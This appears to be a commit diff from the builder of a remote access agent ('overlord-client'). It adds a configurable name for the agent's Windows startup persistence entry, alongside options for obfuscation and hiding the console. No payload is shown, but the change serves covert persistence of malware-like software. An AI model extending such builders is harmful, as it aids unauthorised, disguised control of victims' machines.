add custom file names to building and fix purgatory issue
This commit is contained in:
@@ -70,6 +70,7 @@ type BuildProcessConfig = {
|
||||
obfuscate?: boolean;
|
||||
enablePersistence?: boolean;
|
||||
persistenceMethod?: string;
|
||||
startupName?: string;
|
||||
hideConsole?: boolean;
|
||||
noPrinting?: boolean;
|
||||
builtByUserId?: number;
|
||||
@@ -702,6 +703,11 @@ func runBoundFiles() {
|
||||
ldflags = `${ldflags} ${methodFlag}`;
|
||||
sendToStream({ type: "output", text: `Persistence method: ${config.persistenceMethod}\n`, level: "info" });
|
||||
}
|
||||
if (os === 'windows' && config.startupName) {
|
||||
const startupNameFlag = `-X overlord-client/cmd/agent/persistence.DefaultStartupName=${config.startupName}`;
|
||||
ldflags = `${ldflags} ${startupNameFlag}`;
|
||||
sendToStream({ type: "output", text: `Startup name: ${config.startupName}\n`, level: "info" });
|
||||
}
|
||||
} else {
|
||||
sendToStream({ type: "output", text: `Persistence is not supported on ${platform}, skipping...\n`, level: "warning" });
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user